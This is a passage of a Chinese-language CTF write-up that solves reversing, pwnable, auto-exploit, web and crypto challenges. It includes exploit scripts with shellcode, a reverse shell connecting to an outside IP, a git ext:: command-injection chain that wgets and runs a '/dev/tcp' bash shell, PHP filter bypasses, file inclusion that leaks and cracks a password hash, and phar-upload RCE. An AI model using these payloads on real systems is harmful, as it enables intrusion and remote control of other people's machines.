<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>,<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<[[<]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<-]<[<]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-[[>>>>>>[>>>]++[-<<<]<<<-]>]>>>[<]>[[>[>-<-]>[<<<<<<+>>>>>>[-]]>]+[<[<<<++>>>-]<<]>>]<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<[[<]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<-]<[<]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-[[>>>>>>[>>>]++[-<<<]<<<-]>]>>>[<]>[[>[>-<-]>[<<<<<<+>>>>>>[-]]>]+[<[<<<++>>>-]<<]>>]<<<<<>>[<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>-]<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..---------------------------------------------------------------------------------------------.<] ``` ( 這裡省略掉最後的 65535 個 `<` ) 透過 interpreter 執行後會輸出 `gg` 稍微分析一下會發現在程式會在 memory 上寫入一些值 中斷在讀取輸入前,可以從 memory 中發現兩組長度一樣的 data 猜測是將輸入與其中一組做運算之後與另一組比對: ``` 0030: 6B 44 57 7E 63 48 66 64 40 60 21 7C kDW~cHfd@`!| 003C: 50 35 38 5C 27 67 5D 7C 49 3F 24 65 P58\'g]|I?$e 0048: 37 78 23 20 34 38 39 5E 00 00 00 00 7x#.489^.... 0060: 16 77 60 4D 0F 38 0B 54 23 3F 46 12 .w`M.8.T#?F. 006C: 61 47 4D 6B 78 14 6C 23 27 53 51 13 aGMkx.l#'SQ. 0078: 68 4F 4E 46 4F 7E 6D 1D 00 00 00 00 hONFO~m..... ``` xor 後就得到 Flag 了... ```python #!/usr/bin/env python # -*- coding: utf-8 -*- a = "6B44577E634866644060217C5035385C27675D7C493F2465377823203438395E".decode('hex') b = "1677604D0F380B54233F461261474D6B78146C2327535113684F4E464F7E6D1D".decode('hex') print "".join(chr(ord(a) ^ ord(b)) for a,b in zip(a, b))[::-1] ``` Flag: `CTF{fm7_vuln_1s_7ur1ng_c0mpl373}` --- ### 😇 Web / Pwnable 150 + 400 - Dream > Do you have dream ? > [BGM] https://www.youtube.com/watch?v=5fxPY4hi-P4 > http://ctf.pwnable.tw:1412 是個 `cgi` ,首先當然先想辦法得到 binary,掃了一下目錄發現存在 http://ctf.pwnable.tw:1412/.svn 透過工具抓下網站內容: https://github.com/kost/dvcs-ripper `grep CTF -r ` 得到 Web 部份的 Flag: `CTF{Dont_forget_subversion_in_your_dream}` 接著分析 `dream.cgi`: ```cpp void get_dream() { char *s; // ST0C_4@1 s = malloc(4096u); sscanf(query, "dream=%[^&]", s); dream = url_decode(s); } void take_off(char *dream, char *s) { int v2; // ST14_4@1 size_t v3; // [sp+0h] [bp-8h]@1 v2 = rand() % 13371337; setenv("DREAM", dream, 1); v3 = strlen(dream); if ( v2 % 4869 ) sprintf(s, "{\"length\":%u,\"Come_True\":true,\"dream\":\"%s\"}", v3, dream); else sprintf(s, "{\"length\":%u,\"Come_True\":false,\"dream\":\"%s\"}", v3, dream); } int main(int argc, const char **argv, const char **envp) { char s[100]; // [sp+0h] [bp-64h]@1 init_proc(); header(); get_dream(); sleep(1u); take_off(dream, s); printf("%s", s); return 0; } ``` 可以很快的發現 `take_off` 中有個單純的 bof,能夠覆蓋 main 的 return address 利用方式是先做 `ROP` 呼叫 `get_dream()` ,讓 eax 指向我們的 `QUERY_STRING` , 再 jmp 到 `eax+100` 上的 shellcode 來得到反連 shell: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * jmp_eax = "%67%8b%04%08" # 0x08048b67 get_dream = "%67%88%04%08" # 0x8048867 asm_add_eax_100_jmp_eax = "%83%c0%64%ff%e0" sc = asm(shellcraft.i386.linux.connect("140.113.209.23", 1234) + shellcraft.i386.linux.dup2(3, 0) + shellcraft.i386.linux.dup2(3, 1) + shellcraft.i386.execve('/bin/sh')) sc = "".join("%%%02x" % ord(c) for c in sc) #print sc QUERY_STRING=( "dream=" + asm_add_eax_100_jmp_eax.ljust(74, "A") + get_dream + jmp_eax + "%90" * 30 + sc ) #print QUERY_STRING r = listen(1234) log.info("Press Ctrl+C after shellcode connected back to get a shell") os.system("curl http://ctf.pwnable.tw:1412/cgi-bin/dream.cgi?" + QUERY_STRING) r.interactive() ``` 得到 shell 之後找到 seteuid 的 binary `/home/dream/get_flag`,還有 source code: ```c #include <stdio.h> #include <unistd.h> #include <time.h> #include <stdlib.h> int main(){ setvbuf(stdout,0,2,0); char buf[100]; char input[16]; unsigned int password; int fd ; FILE *fp = NULL ; srand(time(NULL)); fd = open("/dev/urandom",0); read(fd,&password,4); close(fd); printf("What your name ? "); read(0,buf,99); printf("Hello ,"); printf(buf); printf("Your password :"); read(0,input,15); if(atoi(input) != password){ puts("Goodbyte"); }else{ puts("Congrt!!"); fp = fopen("./f14gggggggg","r"); if(!fp){ puts("Failed"); exit(0); } fread(buf,1,80,fp); printf("Here is your flag : %s\n",buf); } } ``` 輸入 `%6$d` 就能透過 format string bug leak 出 `password` 讀取 flag Flag: `CTF{Y0ur_dr34m_is_so_b34ut1ul}` --- ### 🤖 AEG 200 - AlphaPuzzle 💮 > Decode base64 encoded ELF binary from the server. > And finish puzzles three times to capture the flag. > nc 133.130.124.59 9991 > [Don't waste your time on this] https://www.youtube.com/watch?v=uuMNmHdr0Lg > Hint: > aHR0cHM6Ly91cmwuZml0L1hmVE9U > [just_pepe_puzzle.jpg](https://final.csie.ctf.tw/files/006f3477cfc05661f9f1c7f5a315041c/just_pepe_puzzle.jpg) 首先,hint 一點屁用都沒有... 測試後會發現 server 每一次回傳的 ELF 都不一樣 執行 binary 後總共會讀取 9 次的輸入,每次輸入 `0` ~ `6` 中的 2 個數字,必須符合條件,總共需要通過 3 個 binary 的 check 直接用 angr 跑... ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import angr r = remote("133.130.124.59", 9991) r.recvuntil("base64\n") def aeg(): elf = r.recvuntil("\n\n").decode('base64') write("elf.out", elf) log.info("elf dumped") # load elf p = angr.Project("./elf.out", load_options={"auto_load_libs": False}) # find target address cfg = p.analyses.CFG() target = cfg.kb.functions.function(name="catflag").addr log.info("target=%x" % target) # constraint st = p.factory.entry_state() st.posix.files[0].seek(0) st.posix.files[0].length = 3 * 9 # explore pg = p.factory.path_group(st, immutable=False, threads=4, veritesting=True) pg.explore(find=target) if not pg.found: log.error("Failed") fs = pg.found[0].state ans = fs.posix.dumps(0).split("\n")[:-1] # stdin pprint(ans) for a in ans: log.info(r.recvline()) r.sendline(a) log.info(r.recvline()) for i in range(3): aeg() ``` Flag: `CTF{5YW25a+m5pq05Yqb6Kej5aW95YOP5Lmf6Kej55qE5Ye65L6G}` --- ### 🤖 AEG 300 - oo 👉👌 > Try to decode base64 encoded elf from server. > Let's oo together. > nc 133.130.124.59 9992 一樣每次回傳的 binary 都不同,程式內部會產生一堆數字,並問你是多少 直接用 `objdump` 爬出來回傳即可: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from commands import getoutput r = remote("133.130.124.59", 9992) r.recvuntil("base64\n") def aeg(): elf = r.recvuntil("\n\n").decode('base64') open("elf.out", "wb").write(elf) log.info("dumped") l = getoutput("objdump -M intel -d ./elf.out | grep 'DWORD PTR \[rip' | awk '{print $12}'") ans = [int(i.split(",")[1],16) for i in l.split("\n")] return ans ans = aeg() r.recvuntil("Guess O\n") for a in ans: r.sendline(str(a)) log.info(r.recvline()) log.info(r.recvline()) log.info(r.recvline()) r.sendline("cat /opt/oo/flag") r.interactive() ``` Flag: `CTF{o_oo_ooo_th1s_1s_how_simple_acg_look_like}` --- ### 🤖 AEG 400 - sushi 🍣 > Try to decode base64 encoded elf from server. > And make a delicious sushi. > nc 133.130.124.59 9993 一樣每次回傳的 binary 都不同,程式會產生一串字串。然後挑兩個 byte 問你總合是多少,答對 20次就可以寫入 100 bytes 到程式中,並觸發一個 `gets()` 的 bof 偷懶直接用 angr dump 字串 最後寫入 shellcode 並覆蓋 return address,需要注意的是 bof 的 buffer size 每次都不同: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import angr from commands import getoutput r = remote("133.130.124.59", 9993) r.recvuntil("base64\n") def aeg(): elf = r.recvuntil("\n\n").decode('base64') open("elf.out", "wb").write(elf) log.info("dumped") p = angr.Project("./elf.out", load_options={"auto_load_libs": False}) st = p.factory.entry_state() pg = p.factory.path_group(st, immutable=False, threads=4, veritesting=True) pg.explore(find=0x4007B6) # same address for every elf if not pg.found: log.error("failed") fs = pg.found[0].state # read shushi table = fs.se.any_str(fs.memory.load(0x6012c0, 100)) # mem shushi = [ord(i) for i in table] #print shushi r.recvuntil("Guess what sushi looks like now!\n") for _ in range(20): s = r.recvline().split() i = int(s[-3]) j = int(s[-1]) log.info("i=%d,j=%d" % (i,j)) si, sj = shushi[i], shushi[j] # it's signed add if si & 0x80: si -= 0x100 if sj & 0x80: sj -= 0x100 ans = si + sj log.info("sum=%d" % ans) r.send(str(ans).ljust(4)) # buf is 4... wtf r.recvline() r.sendline("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(99,"\x90")) stack_size = int(getoutput("objdump -M intel -d ./elf.out | grep 4007bb").split(",")[-1],16) log.info("stack_size=%d", stack_size) r.sendline("A" * stack_size + p64(0x6012c0)) aeg() r.sendline("cat /opt/sushi/flag") # why the flag is here... r.interactive() ``` Flag: `CTF{1ife_1s_1ike_such1_as_known_as_sh1t}` --- ### 🐟 Web 100 - Admin Panel > http://54.199.166.146/f31c286df3608f5b71ea528d7220974957bfb14d/ `header("Location: ban.php");` 之後沒結束 `curl http://54.199.166.146/f31c286df3608f5b71ea528d7220974957bfb14d/panel.php` Flag: `CTF{Admin's_pane1_1s_0n_F1r3!?!?!}` --- ### 🐟 Web 200 - Hello > http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/ `http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/?source=` 得到 source code: ```htmlmixed <?php $DEBUG = false; error_reporting(0); if ($DEBUG) { error_reporting(E_ALL); ini_set('display_errors', 'On'); } register_shutdown_function("functionNotFound"); function functionNotFound() { $last_error = error_get_last(); if ($last_error['type'] === E_ERROR) echo "Function not found!"; } // utils $blacklist = array("system", "passthru", "exec", "read", "open", "eval", "backtick", "flag", "php", "`", "_"); function contains($s,$a) { foreach ($a as $value) { if (stristr($s,$value)) { return 1; } } return 0; } // user define functions function hello($name) { echo "Hello $name! I put something interesting in flag.php.</br></br>"; } function source() { highlight_file(__FILE__); exit(); } if(count($_GET) > 0) { if(contains($_SERVER['REQUEST_URI'],$blacklist)) { die("Hacker detected!!"); } list($key, $val) = each($_GET); if (strlen($key) > 6) { die("Function name is too long! Hacker detected!!"); } $key($val); } ?> <form> What's your name? I have something to tell you. <br/> <input type="text" name="hello"> <button type="submit" value="Submit">Submit</button> </form> <!-- function hello($name) { ... } function source() { ... } --> ``` `http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/?assert=highlight%5Ffile("%66lag.%70hp")` 繞過黑名單 Flag: `CTF{bypass_php_filter_is_so_fuN!}` --- ### 🐟 Web 200 - Snoopy's flag > http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/ Local File Inclusion: `curl http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/image.php?p=../admin/.htaccess` ``` AuthType Basic AuthName "Password Protected Area" AuthUserFile /var/www/web3/admin/.htpasswd_which_you_should_not_know Require valid-user Options +Indexes ``` `curl "http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/image.php?p=../admin/.htpasswd_which_you_should_not_know"` `secret_admin:K7WeKYm8O5MQI` 用 `john` 破出明文密碼: `!@#$%^&* (secret_admin)` 登入 `http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/admin` 得到 Flag Flag: `CTF{apache_config_file_is_sensitive}` --- ### 🐟 Web 300 - Snoopy's Pics > http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/ Local File Inclusion `curl http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=php://filter/convert.base64-encode/resource=index` ```php <?php $FROM_INCLUDE = true; $pages = array( // disabled // "upload_snoopy" => "Uploads", "about" => "About" ); if (isset($_GET["p"])) $p = $_GET["p"]; else $p = "home"; if(strlen($p) > 100) { die("parameter is too long"); } ?> <!DOCTYPE html> <html lang="en"> <?php include "header.php"; include $p . ".php"; ?> </body> </html> ``` 發現存在 `upload_snoopy.php` ,一個圖片上傳介面 `http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=upload_snoopy` 看一下 source code: `curl http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=php://filter/convert.base64-encode/resource=upload_snoopy` ```htmlmixed <?php if (! $FROM_INCLUDE) exit('not allow direct access'); function RandomString() { $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $randstring = ""; for ($i = 0; $i < 9; $i++) { $randstring .= $characters[rand(0, strlen($characters)-1)]; } return $randstring; } $target_dir = "images/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 0; $imageFileType = pathinfo($target_file, PATHINFO_EXTENSION); $fsize = $_FILES['fileToUpload']['size']; $newid = RandomString(); $newname = $newid . ".jpg"; if(isset($_FILES["fileToUpload"])) { if($imageFileType == "jpg") { $uploadOk = 1; } else { echo "<center><p>Sorry,we only accept jpg file</p></center>"; $uploadOk = 0; } if(!($fsize >= 0 && $fsize <= 200000)) { $uploadOk = 0; echo "<center><p>Sorry, the size too large.</p></center>"; } } if($uploadOk) { $newpath = $target_dir . $newname; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) { header('Location: ./images/' . $newid.'.jpg'); exit(); } else { echo "<center><p>Sorry, there was an error in uploading your file.</p></center>"; } } ?> <!-- Page Content --> <div class="container"> <!-- Marketing Icons Section --> <div class="row"> <form method="POST" enctype="multipart/form-data"> <div class="form-group"> <label class="control-label">Select a good Snoopy picture (JPG only)</label> <input id="input-1" name="fileToUpload" type="file" class="file"> </div> </form> </div> <script> // initialize with defaults $("#input-1").fileinput(); // with plugin options $("#input-1").fileinput({'showUpload':false, 'previewFileType':'any'}); </script> </div> ``` upload 只檢查檔名結尾是 `.jpg`,可上傳 `phar` 並透過 include `phar wrapper` 實現 `RCE` 將 `shell.php` 打包成 zip,重命名為 `shell.jpg` 後上傳 `http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=phar://./images/MOVB3TIuh.jpg/shell&c=cat%20/flag` Flag: `CTF{finally_got_RCE_but_do_you_have_enough_sleep?}` --- ### 🍊 Web 300 - GIT > Do you really know GIT :P > Please HACK http://133.130.122.214/ ```php <?php /* ----------------------------- Do you really know git :P - Orange ----------------------------- */ highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']; if ( !file_exists($dir) ) mkdir($dir); chdir($dir); $cmd = $_GET['cmd']; $url = $_GET['url']; if ($cmd == 'clean') { system("rm -rf .git"); // } else if ($cmd == 'log') { // system("git log"); // } else if ($cmd == 'diff') { // system("git diff"); // } else if ($cmd == 'init') { // system("git init"); } else if ($cmd == 'clone') { $url = escapeshellarg($url); $url = str_replace('-', '', $url); system("git clone " . $url); } else { die('what do you do?'); } ``` `CVE-2015-7545` cmd.txt: `bash -i > /dev/tcp/106.186.20.187/1234 0<&1 2>&1` `http://133.130.122.214/?cmd=clone&url=ext::wget l4ys.tw/cmd.txt` `http://133.130.122.214/?cmd=clone&url=ext::bash cmd.txt.1` Ref: https://git-scm.com/docs/git-remote-ext Flag: `CTF{Bug_bounty_really_learnable!!!Come and join us!!!}` --- ### 🔓 Crypto 100 - Simple > nc csie.ctf.tw 10180 AES-OFB 給 FLAG 透過 Secret IV 以及 Secret Key 加密的結果,以及數個用相同方式加密的結果。我們已知 `Plaintext` 是 `string.letters + string.digits` 。因為 `AES-OFB` 的串結,所以 `Ciphertext = Plaintext ^ AES(KEY, IV)` ,也就是我們可以透過猜測 `AES(KEY, IV)` 的結果,並用數個相同方式加密的結果來驗證猜想的正確性。然後因為每次加密的字串來源相同,所以可以透過多次測試,來將結果侷限在其中一組上。 ```python #!/usr/bin/env python import sys, os import random import string import time from Crypto.Cipher import AES from base64 import * block_size = 16 some_text = '''7jl5Clyfkcx+ItBhK2t87N4sJ28U7ho7GNZPHp797Pk= mWsVJWaDupZDBuFoMGdN7tw4L2s8xWhiDuhZBpmly8w= zlBKOF24tMdZAMdpB3ND8t88cm0V42hiO8xJaJOFytI= 53FpOUOGiM93JcFvE2g869VodFQzyRQ6N8NkIob42rI= 2UZHO3X7hOYMGsV+Gk9P+cUUDmMO4T5kWaNJYaGC47I= zjsZJVOmkMR5NupJAVM/6uQTEmUkyBs7GfVoK7G+w+Q= 4DhFNkOi85IGBMUNO3ZP5tUFdGAO7Q4+GPk1B7GMx8g= 2mAcEFWsiNZuBuJQMXlZr/5uJm9Un28nDahYIoG4u+M= 009VGVuD+9tiZstUDkNh88wFMXBSwSQcGNRsF4Gq2bI= 2E5DKF+Ekc17IepgMUNx+7MyNFcy5RQAJ6lkH6e538Y= wUxvH0mBh+RxBfRaNjQ9+9RpAFAnxhoUHfpSC6qmzbk= 7GlhbV6m8pZWO/R3FjBx7+ILJ0UE7TYdGM91adOet8Y= 8mVJL3eMtPZXAvNBOmVT57IZIFUNyRYXVuxMZ7Os48w= nkR1MUaWuPsHEZ13cEVB+NUKJjcA+xkkO+luO4qA7dQ= zlhENET7+9d2M5F2DFhs8bQXLHQB+h4LAfBxGJGb/fE= zXF9GXKFrcJZFu4PD0RJ6cwpeV8IwB4gO981Jqyj/7k= 2Gp4aQGFtvUAaux6CmlRqPEvEUYq2xljPPRmOKmB+u8= /UJLMkT3jNRgHcx+JmB6zdUqDUNR2g07OslTEtun4cQ= zj9VEUKWge9mZONee3tGzOwIMFcN6W1hGN56HJyP9eU= mmRYGmmppeIAIJxUAEx+5tQ6OGoK8DkbHu9qNImcyuw= 7UNbMEWdj5lZa9FMdlt58MEWMkpU/zM5NdpEOo7+ubE= x0tlGEX9itRVFuJKC2Vb6cQ0G3Ag2xEAOu5CPp2c/NM= 3npEEwP6h80EI+ZMC0JsqPIEBTMn/T08JMwyK5+au9Y= 5TBvDHeXtPRhG8FoK2hyq+43Lz4oxCokO6poHIOg5Ps= klh8KHv2hM5xM9VoKVtN2fcqE29R3w86H+xXE9z5weQ= ''' texts = some_text.split() FLAG = '6VxqJhTur8gFZtZndG5U6u5uHm9V6mw8XOxAI4D+sPw=' #IV = 'a' * 16 IV = '' texts = [IV + b64decode(s) for s in texts] FLAG = IV + b64decode(FLAG) flag = '' #texts.append(FLAG) plaintext = [''] * len(texts) for i in xrange(len(IV), 32 + len(IV)): for k in xrange(256): con = True for text in texts: tar = ord(text[i]) ^ k if chr(tar) not in string.letters + string.digits: con = False break if con: for x in xrange(len(texts)): plaintext[x] += chr(k ^ ord(texts[x][i])) flag += chr(k ^ ord(FLAG[i])) for s in plaintext: print s print string.letters + string.digits print flag print ''.join([c for c in flag if c in string.letters + string.digits]) ``` Flag: `CTF{$!mi14r_7o_th3_h3@0m3w@rk5?}` --- ### 🔓 Crypto 200 - RSA 同一組明文透過不同密鑰加密,可透過 `Hastad's Broadcast Attack` 解出 從 output 取出 `e=7` 的 `n` 及 `c` ,用 `CRT` 算出 Flag: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import gmpy data = [{"n": 88915379777904220480592965231356288056731383962858378813795992867325415494232591101369475346005319526467392759168718676817426236490049372700046953192242554849669083680644269807020713343649693493391967704982398710494816670896969853530390409751004044500179983368339771742667306000453312700864988959043510405757844065684630163017301645228843333095653510881118262362873430270092297097520114637905111719730735393337490859403819803866582550676871351609053866045219052425492955032713610577632707036033362957006618381769590533733351146385104861858114490180355083406077980747627293257655435678804509990810760526889137878205587, "e": 7 ,"c": 33547004061102933765282913425404261682238327617521894423858042865935039767875675735512344723213603573887370473383693327563182319798984035994305101686839405854379012054563399473920378199258727455889100240775458765741591285834899571449641363862656172916058027923879828042179863345070226311290655400141947947077690079794445176134575297310405553196629094734342974101672001182839224548502918599346959061769370335219922003654624018222027658644656892257011562533056026347569886327198025301011781604334991530103244042918463528464195368513652958397583022079775025392306142757745220532922312147367089660743115963881951574390262}, {"n": 85937464834800440448779023483739705743537323986754525659171871858240147041569199865953053169478535993937225638362618068221300356308766381119980731903946196065980001660073172673803494616091263758904883730021398576375079808746326215740545415080710072793495247556868493661250598926986840339347929980665621131801861595219576239833573354164766697206670012421174002288583434197100677231770293635204060820570183428510363701508701159462299177870973708728822458568445338303275703746612609015298809130228012991654201519449008112224483594406117972259479473745702807289893719590497760090322584221980780225213891739876489083585757, "e": 7 ,"c": 48724332165995913977844906117462828935947440967477497532869304734595570809501780844474104204542070189595326149962631358840524405967630599424740127470047487809579688578439652891833857650069010469429281754988660601841048262206670010832293470413006066884666044871592149572826717231689874638175952285300678859957450045905563820292937930059940187095877407685747960745981120708262009261701257435482095335328558022086934884737516294416591076275810839606228010378127829469827002961345035432166638140158469081464567169557045581938190437636125430362289266619713266770139710693685316760826737106955358629832940545756799957927913}, {"n": 75161724624400680907344700366549962017585202517439688851108081386105811051501830342282922943512575434556882722635542694410146690660952844097279579396363925446192922960147531113032247663225473961541063426582774484535746061173779281358329491616170358789910335815704625511033752324457439099336888113779884363177850701040316726766755677133072225769203425981920980068994522696437466634233261921408363221074175645538995085332595443358694280430108910403248225085389002326566476180404432263432804686406458659495121577254207680509705087551038661699432196760794858878274901588872786596437228396471774316441000729164846333506349, "e": 7 ,"c": 14169696545155822854937121913690858330271879875429917393512474698712174853322892075416792477196566749335257219142515453979929137860730968008611876889689315548596033486906819369177005114678765753306705546619958080967233534254074452905340283916248965272883713887670761194331607292243702599486481458106213274235078890289193989624803810853255653594169664624777348754298483104800886158711854828283841946903156505099294704768117151598058923523722241419194785356282943539017745496108482813263236945797269621840229814455199209879675309163607787334958891577595055762246343698558006863383466375502189420931418995279794373204392}, {"n": 56868680688293676260355321083353789041475537734140633595933408997481186428795132040058374272112962910716673671774791927020035988017815500220112790364993030075059278171385947320096371629762708132941386013457467895072260231487325099497685051971295226767255428231166258001590038896723386065662613815270219738371363502766131292786008840470804378262352466288291034165588603196904548910977778174316040750498579826800379527767985738266939663213127824534919553009306515829389444733216483560488349518542496071176782491828899709634085763574740737021875781704682829448918310070084057529258510447229555167481960724140757065036309, "e": 7 ,"c": 30573593511274586668680008169544388348952539044195095064077371904950788268808608391546586239197858470340677680364766128749981978852224537209742040798235704872691831557181874380739110783143115886266025871415777294027382295376514950396090912418221289825644942264463688252497003324495130475628343195716889755657330236877541425962074234149154681497766757510150932321808371306144519202710420754428459486241697628938802817159497599329405164687942898723546996742642523574815461061288050393227621910177000979254697997102507413052245594212935297283659391374567068538158948770160683494396513269663739504321365684236328624149609}, {"n": 37392447517109699553636556010863604779108808239388722535340023098488823146374574992491330173077852622116290569997698398921962019283612903618009862978006891771549890711372643769395130442649590352873541827956615659259041830323057369845378603040036154195791520471589669668917488063638235537912397288458368005164503171736792713458686424680362671784040410720431683952308722160541058777957271912609712459986460518023444540959447153980907163818627865405453106531279729113474798405762228457912323106800035537075619649448205967933428622266811803268517529113715660280567348441379437468247703255175737588572324107352306236369699, "e": 7 ,"c": 16209867591439871945542708911739363213137977561683807924481552819254149586073163507600264139376732145827194237508721477793480892343294998552096558791633032408078671338632943848399424060090611611772262129620193292824659774289663416494215610818812225205349287924402521373636649273093388021509357532971835568870675990050738530902209937727031875011220451343825857393861920162967931988526813185393237294722851861854593395259219985097104736118638215994702979377415518500301295962475060594553713316449477373653410478332114538699565821995916539529777274176659127165906972265353886751281292703760467171448150656307998879687123}, {"n": 65256754988080624321862819578014507876138516586800580513722514108031954035036369498995388924880564699545393660624499461324475337600233716922682659842984105806653553786920890167020843565913411033147940820663991091844817976617875089892681435328012008786127071246362776071362465097046927729984768350661190732989058733520839596558866150738181740630160271432828557581044199123917927862385544043660381827088277186730068496617148727509329771193863819965757216964552060870635204781025902152779923625149008026646087219214146142946816045807520207277149929487889636997513072801036893962425841227848551603626041753808095499587793, "e": 7 ,"c": 64286727682038726271460372383486562553704796492251542657272001470138707011450298098588894535168038037539524830328862293663092122512572021743693373333759810379012654685705623832044790535293465989964785627496636803320610338072425649724483971437091746934774219397637431433686759745790854215361269448095099918944309171224217213232151738242764377671573182687827217075273462040202069778283277975276391585716580423068347987039124606587371220380541449451798110489319629608165271477160680832772870788327442270722824789499884307465784845917895815368881662534085424334496399878812702246036478758806729871104846231820028678611425}, ] e = 7 data = [(int(k["c"]), int(k["n"])) for k in data] def extended_gcd(a, b): x,y = 0, 1 lastx, lasty = 1, 0 while b: a, (q, b) = b, divmod(a,b) x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return (lastx, lasty, a) def chinese_remainder_theorem(items): N = 1 for a, n in items: N *= n result = 0 for a, n in items: m = N/n r, s, d = extended_gcd(n, m) if d != 1: raise "Input not pairwise co-prime" result += a*s*m return result % N, N x, n = chinese_remainder_theorem(data) realnum = gmpy.mpz(x).root(7)[0].digits() print format(int(realnum), 'x').decode('hex') ``` Flag: `CTF{C1ll4s$!c_c0o0omm0n_m0du1u$55_a7t@ck!!!#>_<}` --- ### 🔓 Crypto 200 - Can't see 透過 Wireshark 可以 dump 出 server 的 SSL 憑證,憑證中內含他加密用的公鑰 ``` Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (1024 bit) Modulus: 00:b5:d8:21:69:ab:56:57:d6:e4:9c:cf:a7:1b:ac: 3d:b6:b7:d4:58:c8:b0:6d:3b:22:48:8d:70:e5:32: 7a:48:cd:c2:ee:40:d6:f0:4c:37:85:d6:f6:68:d1: 0e:75:c8:0e:27:96:6b:61:87:fa:fc:87:75:27:03: f4:98:d3:76:8c:ce:b9:be:ba:1e:0c:46:02:fd:96: 65:36:a8:c6:a3:c4:83:13:81:0b:13:bf:41:c3:56: 2f:80:76:fb:51:c4:d9:dc:cc:ac:6d:60:27:42:3d: ab:3a:89:ee:d0:ab:94:0b:9a:90:6b:7e:b5:07:2d: fc:e4:58:fa:fe:11:f9:dd:2b Exponent: 65537 (0x10001) ``` 將這組數字丟上 factordb.com 可以得到 p 以及 q ,再用[工具](https://github.com/zongyuwu/rsatoolrb)便可以得到 pem ,將 pem 丟回 wireshark 中便可以得到 flag 了 Flag: 